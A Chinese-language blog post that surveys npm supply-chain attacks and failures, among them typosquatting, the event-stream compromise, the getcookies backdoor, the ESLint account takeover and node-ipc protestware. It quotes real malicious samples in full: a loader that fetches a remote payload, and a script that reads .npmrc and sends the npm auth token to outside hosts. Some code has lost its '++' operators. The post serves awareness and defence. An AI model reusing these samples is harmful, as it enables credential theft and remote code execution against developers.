JavaScript 供应链为什么如此脆弱...

2023-11-27 18:40:33 浏览数 (3)

JavaScript 的强大之处在于其卓越的模块化能力,通过 npm 包管理机制,开发者可以轻易地引用并使用其他人或者组织已经编写好的开源代码,从而极大地加快了开发速度。但是,这种依赖关系的复杂性也给供应链的安全带来了巨大的挑战。

今天就跟大家一起来聊聊 JavaScript 供应链的一些典型负面案例,让大家认识一下这是一个多么脆弱的生态。

【突然删除】left-pad

left-pad 是一个非常简单的 NPM 包,只有 11 行代码,它通过添加额外的空格来将字符串填充到指定的长度。

代码语言:javascript复制
module.exports = leftpad;

function leftpad (str, len, ch) {
  str = String(str);

  var i = -1;

  if (!ch && ch !== 0) ch = ' ';

  len = len - str.length;

  while (  i < len) {
    str = ch   str;
  }

  return str;
}

此事件的前因是 left-pad 的作者与另一位开发者之间的商标争议,导致 left-pad 被从 NPM 上撤下。

由于许多大型项目都依赖于这个看似无关紧要的包,其中包括 BabelReact,这导致几乎整个 JavaScript 生态都受到了影响。

你或许会吃惊,为啥这么个只有 11 行代码的包都有这么多大型项目依赖?

对,这就脆弱是 JavaScript 生态。

不得不服的是,这个包早就被作者标记了废弃,而且是 WTFPL 协议(Do What The F*** You Want To Public License), 每周依然有着数百万次的下载量 ...

或许你的项目里就有,但是你可能从不关心。

【作者泄愤】faker.js

要说突然的删除还能接受,那作者主动植入恶意代码就有点过分...

去年的某天,开源库 faker.jscolors.js 的用户打开电脑,发现自己的应用程序正在输出乱码数据,那一刻,他们惊呆了。更令人震惊的是,造成这一混乱局面的就是 faker.jscolors.js 的作者 Marak Squires 本人。乱码的原因是 Marak Squires 故意引入了一个死循环,让数千个依赖于这两个包的程序全面失控,其中不乏有类似雅虎这样的大公司中招。

Marak 的公寓失火让他失去了所有家当,几乎身无分文,随后他在自己的项目上放出收款码请求大家捐助,但是却没有多少人肯买帐...

于是就有了后面这一幕,Marak 通过这样的方式让 "白嫖" 的开源用户付出代价...

所以,如果你也经常 "白嫖" ,那就要小心点了...

【包名抢注】crossenv

对你没听错,就是包名抢注。

你可能听说过域名抢注,一个好的域名抢注了可能后面会卖个好价钱。

比如,抖音火了,官方域名是 www.douyin.com ,那么我就注册一个 www.d0uyin.com ,如果你眼神不好的话还是有一定欺诈效果的。

包名抢注确确实实也是发生在 JavaScript 生态里的,一样的道理。

比如有个包叫 cross-env,是用来在 Node.js 里设置环境变量的,非常基础且常用的功能,每周有着 500W 次的下载量。

于是有人抢注了 crossenvcross-env.js ,如果有人因为拼写错误,或者就是因为眼神不好使,安装了它们,这些包就可以窃取用户的环境变量,并将这些数据发送到远程服务器。我们的环境变量往往包含一些敏感的信息,比如 API 密钥、数据库凭据、SSH 密钥等等。

还有下面这些包,都是一样的道理:

  • babelcli - v1.0.1 - 针对 Node.js 的Babel CLI
  • d3.js - v1.0.1 - 针对 Node.js 的d3.js
  • fabric-js - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持
  • ffmepg - v0.0.1 - 针对 Node.js 的FFmpegg
  • runtcli - v1.0.1 - 针对 Node.js 的Grunt CLI
  • http-proxy.js - v0.11.3 - Node.js的代理工具
  • jquery.js - v3.2.2-pre - 针对 Node.js 的jquery.js
  • mariadb - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可
  • mongose - v4.11.3 - Mongoose MongoDB ODM
  • mssql.js - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端
  • mssql-node - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端
  • mysqljs - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可
  • nodecaffe - v0.0.1 - 针对 Node.js 的caffe
  • nodefabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持
  • node-fabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持
  • nodeffmpeg - v0.0.1 - 针对 Node.js 的FFmpeg
  • nodemailer-js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件
  • nodemailer.js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件
  • nodemssql - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端
  • node-opencv - v1.0.1 - 针对 Node.js 的OpenCV
  • node-opensl - v1.0.1 - 针对 Node.js 的OpenSSL
  • node-openssl - v1.0.1 - 针对 Node.js 的OpenSSL
  • noderequest - v2.81.0 - 简化HTTP请求客户端
  • nodesass - v4.5.3 - 对libsass的包装
  • nodesqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API
  • node-sqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API
  • node-tkinter - v1.0.1 - 针对 Node.js 的Tkinter
  • opencv.js - v1.0.1 - 针对 Node.js 的OpenCV
  • openssl.js - v1.0.1 - 针对 Node.js 的OpenSSL
  • proxy.js - v0.11.3 - Node.js 的代理工具
  • shadowsock - v2.0.1 - 能够帮助你穿越防火墙的隧道代理
  • smb - v1.5.1 - 一个纯JavaScript的SMB服务器实现
  • sqlite.js - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API
  • sqliter - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API
  • sqlserver - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端
  • tkinter - v1.0.1 - 针对 Node.js 的Tkinter。

【奇葩的 Bug】is-promise

首先我们明白一个事实,这个库只有一行代码:

代码语言:javascript复制
function isPromise(obj) {
  return !!obj && (typeof obj === 'object' || typeof obj === 'function') && typeof obj.then === 'function';
}

然而,约 500 个直接依赖项使用了它,约 350 万个项目简洁依赖了它,每周包的下载量高达 1200万次。

于是,在 2020JavaScript 生态的名场面来了,一个单行的代码库让一大波大型项目瘫痪,包括 Facebook 、Google 等...

那么作者到底干了点啥呢?

根本原因就是 "exports" 这个字段没有被正确定义,所以在 Node.js 12.16 及更高版本中使用这个库就会抛出如下异常:

代码语言:javascript复制
Error [ERR_INVALID_PACKAGE_TARGET]: Invalid "exports" main target "index.js" defined in the package config 

这能怪谁呢,一个单行代码库也能被这么多项目使用,可谓是牵一发而动全身,这再一次证明了 JavaScript 生态的脆弱。

【恶意后门】getcookies

2018 年、Rocket.Chat 通过了一个看似不起眼的 PR,PR 里包括了几个基础依赖的升级:

mailparser 从版本 2.2.0 更新到 2.2.3 引入了一个名为 http-fetch-cookies 的间接依赖项,它有一个名为 express-cookies 的子依赖项,它依赖于一个名为 getcookies 的包。getcookies 包含一个恶意的后门。

工作原理是解析用户提供的 HTTP request.headers,然后寻找特定格式的数据,为后门提供三个不同的命令:

  • 重置代码缓冲区。
  • 通过调用 vm.runInThisContext 提供 module.exports、required、req、resnext 作为参数来执行位于缓冲区中的代码。
  • 将远程代码加载到内存中以供执行。

后续 ,npm 删除了 http-fetch-cookies、express-cookies、get-cookiesmailparser 2.2.3,并且在官方博客上披露了这次事件:

mailparser 本来是一个古老的用 JavaScript 解析电子邮件的 NPM 包。

但是后来包作者宣布不再维护了,社区也提供了新的替代包:Nodemailer

尽管包作者标记了弃用,这个包每周仍有数十万次的下载量,黑客就会专挑这种作者已经放弃维护,并且下载量还高的库下手,在其中引入了一个不起眼的间接依赖 get-cookies,中间还加了两层,包名也都挺正常的,根本没有人发现什么异常。

所以,作者都不维护了,大家也就都别再用了,这意味着没人对它的安全负责了...

【社会工程学】event-stream

GitHub 用户 right9ctrl 发布了一个恶意 NPM 包 flatmap-stream

随后 right9ctrl 利用社会工程学开始在 event-stream 上提一些问题,并且开始贡献一些代码,随后不久他骗取了主作者的信任,并且也成了 event-stream 的一名核心贡献者,而且拥有了包的完整发布和管理权限。

随后,right9ctrl 悄无声息的为 event-stream 引入了一个新的依赖 flatmap-stream,并且发布了了一个新的版本,因为是核心贡献者引入的一个不起眼的依赖升级的改动,大家都没有注意。

直到一周之后,这个段时间包的下载量已经达到了 800 万次,才有人发现了这个问题:

通过对 flatmap-stream 代码进行更详细的检查,我们可以发现这是针对 Copay(一个安全的比特币钱包平台)的一次精准的针对性攻击。

恶意代码被下载了数百万次,并执行了数百万次,在这期间大量拥有 Copay 的开发者遭受了巨大的经济损失...

然而这一切的原因,只不过是一次简单的 JavaScript 依赖升级 ...

然而,运用社工来进行供应链攻击也不至这一个案例,就在今年 6 月份,Phylum 披露了一系列 NPM 恶意行为,然后他把这些归咎于一个朝鲜黑客组织,他们发起的针对科技公司员工个人账户的小规模社会工程活动

朝鲜的黑客组织刚开始会先尝试和他们的目标建立联系(通常是一些流行包的作者),然后在 GitHub 上发出一起协作开发这个库的邀请,成功后就会尝试在这些库中引入一些恶意的包,例如 js-cookie-parserxml-fast-decoderbtc-api-node,它们都会包含一段被 base64 简单编码过的特殊代码:

代码语言:javascript复制
const os = require('os');
const path = require('path');
var fs = require('fs');
const w = '.electron';
const f = 'cache';
const va = 'darwin';
async function start(){
 process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0
 var dir = path.join(os.homedir(), w);
 if (!fs.existsSync(dir)){
  fs.mkdirSync(dir);
 }
 var axios = require('axios');
 if (os.platform() == va){
  var exec = require('child_process').exec;
  exec('npm i --prefix=~/.electron ffi-napi', (error, stdout, stderr) => {
   console.log(stderr);
  });
 }
 var res = await axios.get('https://npmaudit.com/api/v4/init');
 fs.writeFileSync(path.join(dir, f), res.data);
}
start()

所以,如果你是一个流行包的作者,千万不要轻信其他给你贡献代码的人,他们可能就是 "朝鲜" 黑客...

【NPM凭证泄漏】ESLint

2018 年,有用户在 ESLintIssue 反馈,加载了 eslint-escope 的项目似乎在执行恶意代码:

原因是攻击者大概在第三方漏洞中发现了 ESLint 维护者重复使用的电子邮件和密码,并使用它们登录了维护者的 npm 帐户,然后攻击者在维护者的 npm 帐户中生成了身份验证令牌。

随后,攻击者修改了 eslint-escope@3.7.2eslint-config-eslint@5.0.2 中的 package.json,添加了一个 postinstall 脚本来运行 build.js

build.jsPastebin 下载另一个脚本并使用 eval 执行其内容。

代码语言:javascript复制
r.on("data", c => {
  eval(c);
});

但是它不会等待请求完成,reqeuest 可能只发送了脚本的一部分,并且 eval 调用会失败并出现 SyntaxError,这就是问题的发现方式。

代码语言:javascript复制
try {
  var path = require("path");
  var fs = require("fs");
  var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
  var content = "nofile";

  if (fs.existsSync(npmrc)) {
    content = fs.readFileSync(npmrc, { encoding: "utf8" });
    content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();

    var https1 = require("https");
    https1
      .get(
        {
          hostname: "sstatic1.histats.com",
          path: "/0.gif?4103075&101",
          method: "GET",
          headers: { Referer: "http://1.a/"   content }
        },
        () => {}
      )
      .on("error", () => {});
    https1
      .get(
        {
          hostname: "c.statcounter.com",
          path: "/11760461/0/7b5b9d71/1/",
          method: "GET",
          headers: { Referer: "http://2.b/"   content }
        },
        () => {}
      )
      .on("error", () => {});
  }
} catch (e) {}

这个脚本会从用户的 .npmrc 中提取用于发布到 npm _authToken 并将其发送到 Referer 标头内的 histatsstatcounter

同样的问题也发生在过 conventional-changelog,也是因为发布者的 NPM 账号信息泄漏,导致攻击者插入了使用 require("child_process").spawn 执行恶意代码的脚本:

后来,ua-parser-js 作者的 NPM 账户被盗,攻击者在其中注入恶意代码:

所以,NPM 的发布权限其实也是挺脆弱的,只需要一个邮箱和密码,很多攻击者会使用非常简单的密码或者重复的密码,导致包的发布权限被攻击者接管。

后来,NPM 官方为了解决这一问题推出了双重身份验证机制 (2FA),启用后系统会提示你进行第二种形式的身份验证,然后再对你具有写入访问权限的帐户或包执行某些操作。根据你的 2FA 配置,系统将提示你使用安全密钥或基于时间的一次性密码 (TOTP)进行身份验证。

【manifest 混淆】node-canvas

一个 npm 包的 manifest 是独立于其 tarball 发布的,manifest 不会完全根据 tarball 的内容进行验证,生态系统普遍会默认认为 manifesttarball 的内容是一致的。

任何使用公共注册表的工具都很容易受到劫持。恶意攻击者可以隐藏恶意软件和脚本,把自己隐藏在在直接或间接依赖项中。在现实中对于这种受害者的例子也有很多,比如 node-canvas

感兴趣可以看我这篇文章:npm 生态系统存在巨大的安全隐患 文中详细介绍了这个问题。

【夹杂政治】node-ipc

这个或许大家都有所耳闻了,vue-cli 依赖项 node-ipc 包的作者 RIAEvangelist 是个反战人士。

百万周下载量的 npm 包以反战为名进行供应链投毒!

在 EW 战争的初期,RIAEvangelist 在包中植入一些恶意代码。源码经过压缩,简单地将一些关键字符串进行了 base64 编码。其行为是利用第三方服务探测用户 IP,针对俄罗斯和白俄罗斯 IP,会尝试覆盖当前目录、父目录和根目录的所有文件,把所有内容替换成

但是这种案例可不止这一个,下面是一些包含抗议性质的开源项目案例:

  • es5-ext: 一个主要用于 ECMAScript 的扩展库,尽管在两年内没有更新,却开始接收包含宣传和会增加资源使用的时区代码的常规更新,具体的政治宣传内容处于文件 _postinstall.js 中。
  • EventSource: 这个库可以在你的网站上显示政治标语。如果用户的时区是俄罗斯,它会用一个 15 秒的超时函数使用 alert() 。之后,这个库会在一个弹出窗口中打开一个政治/恶意网站。
  • Evolution CMS: 自2022年3月1日起,从版本 3.1.101.4.17 开始,在管理员面板上加入了政治图片。为了在没有任何政治标语下继续开发,该项目被派生成了 Evolution CMS 社区版。
  • voicybot: 是一个 Telegram 的机器人项,2022年3月2日,促销机器人消息被修改为政治标语。
  • yandex-xml-library(PHP): 这是一个非官方的 Yandex-XML PHP 库,有一个包含政治标语的版本被添加到 packagist,并且源文件已经在 GitHub 上被删除。
  • AWS Terraform 模块: 在代码中加入了反俄标语和无意义的变量。
  • Mistape WordPress 插件: 通过 Mistape 插件的一个漏洞,攻击者可以访问管理员部分,上传 UnderConstruction 插件,借此在网站主页显示任意信息。
  • SweetAlert2: 一个 JavaScript 弹窗库。库中加入了显示政治宣传和视频的代码。只有当用户在浏览器中选择了俄文,并且执行代码的网站位于 .ru/.su/.рф 区域时,此功能才会启动。

还有很多针对特定国家的项目,比如下面这些都是针对俄罗斯的:

  • Quake3e: 一个对 Quake III Arena 引擎进行改进的项目。在2022年2月26日,项目移除了对俄罗斯 MCST/Elbrus 平台的支持。
  • RESP.app / RedisDesktopManager: 一个 Redis 的图形用户界面。项目移除了对俄语的翻译。
  • pnpm: 一个包管理器,项目中加入了反俄罗斯声明,并且来自俄罗斯和白俄罗斯的访问已被直接屏蔽。
  • Qalculate: 是一个跨平台的桌面计算器,在2022年3月14日,该项目去除了俄罗斯和白俄罗斯货币对应的国旗。
  • Yet Another Dialog: 一款允许你从命令行显示 GTK 对话框的程序。在2022年3月2日,该项目移除了俄语区域的支持。

0 人点赞